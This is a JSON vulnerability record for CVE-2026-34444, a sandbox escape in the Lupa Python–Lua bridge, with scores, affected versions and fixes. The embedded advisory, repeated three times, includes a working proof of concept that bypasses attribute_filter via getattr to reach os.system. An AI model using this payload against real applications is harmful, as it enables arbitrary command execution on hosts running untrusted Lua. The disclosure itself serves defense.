{"id":"CVE-2026-34444","aliases":["DEBIAN-CVE-2026-34444","EUVD-2026-19346","GHSA-69v7-xpr6-6gjm","PYSEC-2026-2613","UBUNTU-CVE-2026-34444","openSUSE-SU-2026:10507-1"],"status":"published","title":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","description":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","severity":{"version":"4.0","score":7.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00637,"percentile":0.50986,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-284","CWE-639","CWE-693","CWE-914"],"published":"2026-04-06T15:30:30Z","modified":"2026-10-28T02:30:21Z","exploits":[{"source":"pocgithub","id":"redyank/CVE-2026-34444","title":"redyank/CVE-2026-34444","date":"2026-04-03","url":"https://github.com/redyank/CVE-2026-34444"}],"fixes":[{"ecosystem":"openSUSE:Tumbleweed","package":"python-lupa","fixed_in":["2.7-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.14.1+dfsg-1","2.2+dfsg-1","2.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1"]},{"source":"osv","ecosystem":"PyPI","package":"lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}],"versions":["0.1","0.10","0.11","0.12","0.13","0.13.1","0.14","0.15","0.16","0.17","0.18","0.19","0.2","0.20","0.21","0.3","0.4","0.5","0.6","0.7","0.8","0.9","1.0","1.0.1","1.0b1","1.1","1.10","1.11","1.12","1.13","1.14.1","1.2","1.3","1.4","1.5","1.6","1.7","1.8","1.9","2.0","2.1","2.2","2.3","2.4","2.5","2.6"]},{"source":"osv","ecosystem":"PyPI","package":"lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.6"}]}],"versions":["0.1","0.10","0.11","0.12","0.13","0.13.1","0.14","0.15","0.16","0.17","0.18","0.19","0.2","0.20","0.21","0.3","0.4","0.5","0.6","0.7","0.8","0.9","1.0","1.0.1","1.0b1","1.1","1.10","1.11","1.12","1.13","1.14.1","1.2","1.3","1.4","1.5","1.6","1.7","1.8","1.9","2.0","2.1","2.2","2.3","2.4","2.5","2.6"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.5+dfsg-1","1.6+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.6+dfsg-4","1.6+dfsg-4build1","1.9+dfsg-1","1.9+dfsg-1build1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.9+dfsg-1build3","1.10+dfsg-1","1.10+dfsg-1build1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1.14.1+dfsg-1build1","1.14.1+dfsg-1build2","1.14.1+dfsg-1build3"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1build1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1build3"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4+dfsg-1build1","2.4+dfsg-1build2","2.4+dfsg-1build3"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-lupa","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.7-1.1"}]}]}],"products":[{"vendor":"red hat","product":"red hat openshift ai (rhoai)"},{"vendor":"red hat","product":"red hat satellite 6.18"},{"vendor":"scoder","product":"lupa"}],"references":[{"url":"https://github.com/scoder/lupa/security/advisories/GHSA-69v7-xpr6-6gjm","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-34444","tags":["vdb-entry","x_refsource_REDHAT","advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2455413","tags":["issue-tracking","x_refsource_REDHAT","report"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-34444.json","tags":["x_sadp-csaf-vex","web"]},{"url":"https://access.redhat.com/errata/RHSA-2026:22993","tags":["vendor-advisory","x_refsource_REDHAT","advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34444","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-69v7-xpr6-6gjm","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34444.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-34444","tags":["advisory"]},{"url":"https://github.com/scoder/lupa","tags":["package"]},{"url":"https://pypi.org/project/lupa","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-34444","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-34444","tags":["report"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34444","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-34444","title":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","description":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","status":"published","published":"2026-04-06T15:30:30.525Z","modified":"2026-07-15T01:04:26.105Z","cvss":[{"version":"4.0","score":7.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"high","assessor":"cna"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-284","CWE-639","CWE-914"],"updated_at":"2026-11-02T14:20:14.302133Z"}],"euvd":[{"id":"EUVD-2026-19346","description":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","status":"published","published":"2026-04-06T15:30:30Z","modified":"2026-07-15T01:04:26Z","cvss":[{"version":"4.0","score":7.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"high"}],"updated_at":"2026-11-02T18:19:56.47701Z"}],"ghsa":[{"id":"GHSA-69v7-xpr6-6gjm","title":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","description":"### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n    if isinstance(attr_name, str) and attr_name.startswith('_'):\n        raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n    return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n    def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n    if tostring(c):find(\"os._wrap_close\") then\n        local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n        setattr(user, \"run\", system)\n        user.run(\"id\")\n    end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.","status":"published","published":"2026-04-07T15:48:13Z","modified":"2026-05-06T23:26:57Z","cvss":[{"version":"4.0","score":7.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"high"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-284","CWE-693"],"updated_at":"2026-11-02T14:40:02.883746Z"}],"nvd":[{"id":"CVE-2026-34444","description":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","status":"published","published":"2026-04-06T16:16:35.717Z","modified":"2026-10-26T21:10:00.17Z","cvss":[{"version":"4.0","score":7.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical","assessor":"primary"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-284","CWE-639","CWE-914"],"updated_at":"2026-11-02T14:12:13.1424Z"}],"osv":[{"id":"CVE-2026-34444","title":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","description":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","status":"published","published":"2026-04-06T15:30:30.525Z","modified":"2026-10-28T02:30:21.053186975Z","cvss":[{"version":"4.0","score":7.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"high"}],"cwes":["CWE-284","CWE-639"],"updated_at":"2026-11-02T15:45:02.247031Z"},{"id":"DEBIAN-CVE-2026-34444","description":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","status":"published","published":"2026-04-06T16:16:35.717Z","modified":"2026-10-27T09:47:31.613361505Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:54.587575Z"},{"id":"GHSA-69v7-xpr6-6gjm","title":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","description":"### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n    if isinstance(attr_name, str) and attr_name.startswith('_'):\n        raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n    return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n    def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n    if tostring(c):find(\"os._wrap_close\") then\n        local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n        setattr(user, \"run\", system)\n        user.run(\"id\")\n    end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.","status":"published","published":"2026-04-07T15:48:13Z","modified":"2026-09-10T03:50:43.384103709Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":7.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"high"}],"cwes":["CWE-284","CWE-693"],"updated_at":"2026-11-02T15:46:39.618611Z"},{"id":"PYSEC-2026-2613","title":"Lupa has a Sandbox escape and RCE due to incomplete attribute_filter enforcement in getattr / setattr","description":"### Summary\nThe `attribute_filter` in the Lupa library is intended to restrict access to sensitive Python attributes when exposing objects to Lua.\n\nHowever, the filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.\n\n### Details\nThe `attribute_filter` is meant to block access to attributes such as `__class__`, `__mro__`, and similar internal properties.\n\nIn practice, it only applies to direct attribute access:\n- `obj.attr` → filtered\n- `getattr(obj, \"attr\")` → not filtered\nBecause of this inconsistency, it’s possible to bypass the filter entirely, if access to the Python builtins is granted to Lua code.\n\nAn attacker can use getattr to-\n- Access `__class__`\n- Walk the `__mro__` chain\n- Call `__subclasses__()`\n- Iterate over available classes\n- Find a function that exposes `__globals__`\n- Retrieve something like `os.system`\n\nAt that point, arbitrary command execution becomes straightforward.\n\nThis effectively breaks the security boundary that `attribute_filter` is expected to enforce.\n\n\n### PoC\nThe following example shows how the filter can be bypassed to execute `os.system`:'\n```\nimport lupa\nfrom lupa import LuaRuntime\n\ndef protected_attribute_filter(obj, attr_name, is_setting):\n    if isinstance(attr_name, str) and attr_name.startswith('_'):\n        raise AttributeError(f\"Access to '{attr_name}' is forbidden\")\n    return attr_name\n\nlua = LuaRuntime(unpack_returned_tuples=True, attribute_filter=protected_attribute_filter)\n\nclass UserProfile:\n    def __init__(self, name): self.name = name\n\nlua.globals().user = UserProfile(\"test\")\n\nlua.execute(\"\"\"\nlocal py = python.builtins\nlocal getattr = py.getattr\nlocal setattr = py.setattr\n\nlocal cls = getattr(user, \"__class__\")\nlocal _, obj_cls = getattr(cls, \"__mro__\")\n\nlocal subs = getattr(obj_cls, \"__subclasses__\")()\nfor _, c in ipairs(subs) do\n    if tostring(c):find(\"os._wrap_close\") then\n        local system = getattr(getattr(c, \"__init__\"), \"__globals__\")[\"system\"]\n        setattr(user, \"run\", system)\n        user.run(\"id\")\n    end\nend\n\"\"\")\n```\n\n\n### Impact\nAn attacker who can execute Lua code can:\n- Bypass the `attribute_filter`\n- Access Python internals\n- Traverse the object graph\n- Reach execution primitives\n\nThis leads to full sandbox escape and arbitrary command execution in the host Python process.\nAny application relying on `attribute_filter` as a security control for untrusted Lua code execution is affected, if it does not also disallow access to the Python builtins via the `register_builtins=False` option.","status":"published","published":"2026-07-13T14:36:49.110266Z","modified":"2026-07-13T16:32:12.344758112Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":7.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"high"}],"updated_at":"2026-11-02T15:52:55.961245Z"},{"id":"UBUNTU-CVE-2026-34444","description":"Lupa integrates the runtimes of Lua or LuaJIT2 into CPython. In 2.6 and earlier, attribute_filter is not consistently applied when attributes are accessed through built-in functions like getattr and setattr. This allows an attacker to bypass the intended restrictions and eventually achieve arbitrary code execution.","status":"published","published":"2026-04-06T16:16:00Z","modified":"2026-10-17T13:00:01.503005164Z","cvss":[{"version":"4.0","score":7.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","level":"high"},{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"},{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T16:56:16.036833Z"},{"id":"openSUSE-SU-2026:10507-1","title":"python311-lupa-2.7-1.1 on GA media","description":"These are all security issues fixed in the python311-lupa-2.7-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-04-08T00:00:00Z","modified":"2026-04-09T08:01:06.382966Z","updated_at":"2026-11-02T16:58:38.415593Z"}]}}